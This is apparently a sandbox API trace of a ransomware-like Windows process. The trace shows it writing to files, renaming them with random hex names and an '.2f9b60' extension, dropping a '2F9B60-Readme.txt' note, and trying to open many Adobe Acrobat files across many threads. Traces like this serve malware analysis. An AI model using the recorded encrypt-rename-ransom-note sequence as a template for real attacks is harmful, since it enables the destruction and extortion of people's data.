[0137.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x4205a5c0 [0137.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0137.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0137.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a650 [0137.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a650) returned 1 [0137.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x4205a650 [0137.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a0e0 [0137.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3e0 [0137.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3e0) returned 1 [0137.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0137.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0137.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10c) returned 0x1673a0 [0137.054] SetFilePointerEx (in: hFile=0x1df4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0137.054] WriteFile (in: hFile=0x1df4, lpBuffer=0x1673a0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x325cfbb0, lpOverlapped=0x0 | out: lpBuffer=0x1673a0*, lpNumberOfBytesWritten=0x325cfbb0*=0x10c, lpOverlapped=0x0) returned 1 [0137.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0137.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0137.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3e0 [0137.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3e0) returned 1 [0137.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4205a3e0 [0137.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a590 [0137.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a560 [0137.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a560) returned 1 [0137.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0137.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0137.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9ed30 [0137.069] sprintf (in: _Dest=0x1cd9ed30, _Format="%c%c" | out: _Dest="8a") returned 2 [0137.069] sprintf (in: _Dest=0x1cd9ed32, _Format="%c%c" | out: _Dest="4e") returned 2 [0137.069] sprintf (in: _Dest=0x1cd9ed34, _Format="%c%c" | out: _Dest="56") returned 2 [0137.069] sprintf (in: _Dest=0x1cd9ed36, _Format="%c%c" | out: _Dest="da") returned 2 [0137.069] sprintf (in: _Dest=0x1cd9ed38, _Format="%c%c" | out: _Dest="53") returned 2 [0137.069] sprintf (in: _Dest=0x1cd9ed3a, _Format="%c%c" | out: _Dest="a5") returned 2 [0137.069] sprintf (in: _Dest=0x1cd9ed3c, _Format="%c%c" | out: _Dest="f9") returned 2 [0137.069] sprintf (in: _Dest=0x1cd9ed3e, _Format="%c%c" | out: _Dest="bb") returned 2 [0137.069] sprintf (in: _Dest=0x1cd9ed40, _Format="%c%c" | out: _Dest="f6") returned 2 [0137.070] sprintf (in: _Dest=0x1cd9ed42, _Format="%c%c" | out: _Dest="fa") returned 2 [0137.070] sprintf (in: _Dest=0x1cd9ed44, _Format="%c%c" | out: _Dest="ea") returned 2 [0137.070] sprintf (in: _Dest=0x1cd9ed46, _Format="%c%c" | out: _Dest="3f") returned 2 [0137.070] sprintf (in: _Dest=0x1cd9ed48, _Format="%c%c" | out: _Dest="ae") returned 2 [0137.070] sprintf (in: _Dest=0x1cd9ed4a, _Format="%c%c" | out: _Dest="86") returned 2 [0137.070] sprintf (in: _Dest=0x1cd9ed4c, _Format="%c%c" | out: _Dest="7b") returned 2 [0137.070] sprintf (in: _Dest=0x1cd9ed4e, _Format="%c%c" | out: _Dest="f3") returned 2 [0137.070] sprintf (in: _Dest=0x1cd9ed50, _Format="%c%c" | out: _Dest="72") returned 2 [0137.070] sprintf (in: _Dest=0x1cd9ed52, _Format="%c%c" | out: _Dest="4e") returned 2 [0137.070] sprintf (in: _Dest=0x1cd9ed54, _Format="%c%c" | out: _Dest="11") returned 2 [0137.070] sprintf (in: _Dest=0x1cd9ed56, _Format="%c%c" | out: _Dest="d0") returned 2 [0137.070] sprintf (in: _Dest=0x1cd9ed58, _Format="%c%c" | out: _Dest="e2") returned 2 [0137.070] sprintf (in: _Dest=0x1cd9ed5a, _Format="%c%c" | out: _Dest="f0") returned 2 [0137.070] sprintf (in: _Dest=0x1cd9ed5c, _Format="%c%c" | out: _Dest="ce") returned 2 [0137.070] sprintf (in: _Dest=0x1cd9ed5e, _Format="%c%c" | out: _Dest="4d") returned 2 [0137.070] sprintf (in: _Dest=0x1cd9ed60, _Format="%c%c" | out: _Dest="fa") returned 2 [0137.070] sprintf (in: _Dest=0x1cd9ed62, _Format="%c%c" | out: _Dest="10") returned 2 [0137.070] RtlInitAnsiString (in: DestinationString=0x325cfc28, SourceString="8a4e56da53a5f9bbf6faea3fae867bf3724e11d0e2f0ce4dfa10" | out: DestinationString="8a4e56da53a5f9bbf6faea3fae867bf3724e11d0e2f0ce4dfa10") [0137.070] RtlAnsiStringToUnicodeString (in: DestinationString=0x325cfbf8, SourceString="8a4e56da53a5f9bbf6faea3fae867bf3724e11d0e2f0ce4dfa10", AllocateDestinationString=1 | out: DestinationString="8a4e56da53a5f9bbf6faea3fae867bf3724e11d0e2f0ce4dfa10") returned 0x0 [0137.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x420608b0 [0137.071] RtlFreeAnsiString (AnsiString="8") [0137.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ed30) returned 1 [0137.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3e0) returned 1 [0137.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a590) returned 1 [0137.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1673a0) returned 1 [0137.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a650) returned 1 [0137.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0e0) returned 1 [0137.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5c0) returned 1 [0137.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a620) returned 1 [0137.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a680) returned 1 [0137.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a350) returned 1 [0137.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a170) returned 1 [0137.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x20278230 [0137.072] wcscat (in: _Dest=0x20278230, _Source="8a4e56da53a5f" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\8a4e56da53a5f") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\8a4e56da53a5f" [0137.072] wcscat (in: _Dest=0x20278230, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\8a4e56da53a5f.2f9b60") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\8a4e56da53a5f.2f9b60" [0137.072] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\8a4e56da53a5f.2f9b60", NtPathName=0x325cfbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\8a4e56da53a5f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0137.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x1b776690 [0137.072] NtSetInformationFile (FileHandle=0x1df4, IoStatusBlock=0x325cfc70, FileInformation=0x1b776690, Length=0xd2, FileInformationClass=0xa) returned 0x0 [0137.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776690) returned 1 [0137.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500c70) returned 1 [0137.074] NtQueryInformationFile (in: FileHandle=0x1df4, IoStatusBlock=0x325cfc38, FileInformation=0x325cfc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x325cfc38, FileInformation=0x325cfc48) returned 0x0 [0137.074] NtSetInformationFile (FileHandle=0x1df4, IoStatusBlock=0x325cfc38, FileInformation=0x325cfc48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0137.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278230) returned 1 [0137.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420608b0) returned 1 [0137.076] FlushFileBuffers (hFile=0x1df4) returned 1 [0138.540] CloseHandle (hObject=0x1df4) returned 1 [0138.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x107c00 [0138.645] wcscpy (in: _Dest=0x107c00, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\" [0138.645] wcscat (in: _Dest=0x107c00, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\2F9B60-Readme.txt" [0138.645] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\2f9b60-readme.txt")) returned 0xffffffff [0138.645] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc0 [0139.114] WriteFile (in: hFile=0x1cc0, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x325cfaf0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x325cfaf0*=0xba9, lpOverlapped=0x0) returned 1 [0139.212] CloseHandle (hObject=0x1cc0) returned 1 [0139.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107c00) returned 1 [0139.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861960) returned 1 Thread: id = 2012 os_tid = 0x125c [0137.027] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CAT" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.cat")) returned 0x20 [0137.044] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CAT", dwFileAttributes=0x20) returned 0 [0137.046] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CAT" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.049] GetLastError () returned 0x5 [0137.049] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CAT", dwFileAttributes=0x20) returned 0 [0137.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c290) returned 1 Thread: id = 2013 os_tid = 0x1260 [0137.065] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CHS" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.chs")) returned 0x20 [0137.121] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CHS", dwFileAttributes=0x20) returned 0 [0137.123] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CHS" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.chs"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.127] GetLastError () returned 0x5 [0137.127] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CHS", dwFileAttributes=0x20) returned 0 [0137.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ade80) returned 1 Thread: id = 2014 os_tid = 0x1264 [0137.172] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CHT" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.cht")) returned 0x20 [0137.174] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CHT", dwFileAttributes=0x20) returned 0 [0137.175] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CHT" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.cht"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.178] GetLastError () returned 0x5 [0137.178] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CHT", dwFileAttributes=0x20) returned 0 [0137.180] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad980) returned 1 Thread: id = 2015 os_tid = 0x1268 [0137.187] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CZE" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.cze")) returned 0x20 [0137.190] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CZE", dwFileAttributes=0x20) returned 0 [0137.192] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CZE" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.cze"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.194] GetLastError () returned 0x5 [0137.194] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CZE", dwFileAttributes=0x20) returned 0 [0137.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adca0) returned 1 Thread: id = 2016 os_tid = 0x1274 [0137.245] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.DAN" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.dan")) returned 0x20 [0137.247] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.DAN", dwFileAttributes=0x20) returned 0 [0137.248] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.DAN" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.dan"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.252] GetLastError () returned 0x5 [0137.252] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.DAN", dwFileAttributes=0x20) returned 0 [0137.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad660) returned 1 Thread: id = 2017 os_tid = 0x1278 [0137.279] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.DEU" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.deu")) returned 0x20 [0137.281] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.DEU", dwFileAttributes=0x20) returned 0 [0137.283] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.DEU" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.deu"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.286] GetLastError () returned 0x5 [0137.286] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.DEU", dwFileAttributes=0x20) returned 0 [0137.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c330) returned 1 Thread: id = 2018 os_tid = 0x127c [0137.355] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.ESP" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.esp")) returned 0x20 [0137.377] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.ESP", dwFileAttributes=0x20) returned 0 [0137.379] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.ESP" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.esp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.382] GetLastError () returned 0x5 [0137.382] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.ESP", dwFileAttributes=0x20) returned 0 [0137.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c510) returned 1 Thread: id = 2019 os_tid = 0x1280 [0137.486] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.EUQ" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.euq")) returned 0x20 [0137.488] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.EUQ", dwFileAttributes=0x20) returned 0 [0137.491] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.EUQ" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.euq"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.495] GetLastError () returned 0x5 [0137.495] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.EUQ", dwFileAttributes=0x20) returned 0 [0137.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c470) returned 1 Thread: id = 2020 os_tid = 0x1284 [0137.509] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.FRA" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.fra")) returned 0x20 [0137.511] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.FRA", dwFileAttributes=0x20) returned 0 [0137.512] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.FRA" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.fra"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.516] GetLastError () returned 0x5 [0137.516] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.FRA", dwFileAttributes=0x20) returned 0 [0137.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c5b0) returned 1 Thread: id = 2021 os_tid = 0x1288 [0137.522] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.HRV" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.hrv")) returned 0x20 [0137.523] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.HRV", dwFileAttributes=0x20) returned 0 [0137.525] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.HRV" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.hrv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.528] GetLastError () returned 0x5 [0137.528] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.HRV", dwFileAttributes=0x20) returned 0 [0137.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cb50) returned 1 Thread: id = 2022 os_tid = 0x128c [0137.534] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.HUN" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.hun")) returned 0x20 [0137.537] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.HUN", dwFileAttributes=0x20) returned 0 [0137.538] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.HUN" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.hun"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.541] GetLastError () returned 0x5 [0137.541] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.HUN", dwFileAttributes=0x20) returned 0 [0137.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c830) returned 1 Thread: id = 2023 os_tid = 0x1290 [0137.550] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.ITA" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.ita")) returned 0x20 [0137.552] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.ITA", dwFileAttributes=0x20) returned 0 [0137.553] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.ITA" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.ita"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.556] GetLastError () returned 0x5 [0137.556] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.ITA", dwFileAttributes=0x20) returned 0 [0137.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ce70) returned 1 Thread: id = 2024 os_tid = 0x1294 [0137.561] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.JPN" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.jpn")) returned 0x20 [0137.562] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.JPN", dwFileAttributes=0x20) returned 0 [0137.564] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.JPN" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.jpn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.567] GetLastError () returned 0x5 [0137.567] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.JPN", dwFileAttributes=0x20) returned 0 [0137.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205dd70) returned 1 Thread: id = 2025 os_tid = 0x1298 [0137.579] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.KOR" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.kor")) returned 0x20 [0137.582] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.KOR", dwFileAttributes=0x20) returned 0 [0137.583] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.KOR" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.kor"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.589] GetLastError () returned 0x5 [0137.589] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.KOR", dwFileAttributes=0x20) returned 0 [0137.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cf10) returned 1 Thread: id = 2026 os_tid = 0x129c [0137.594] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common 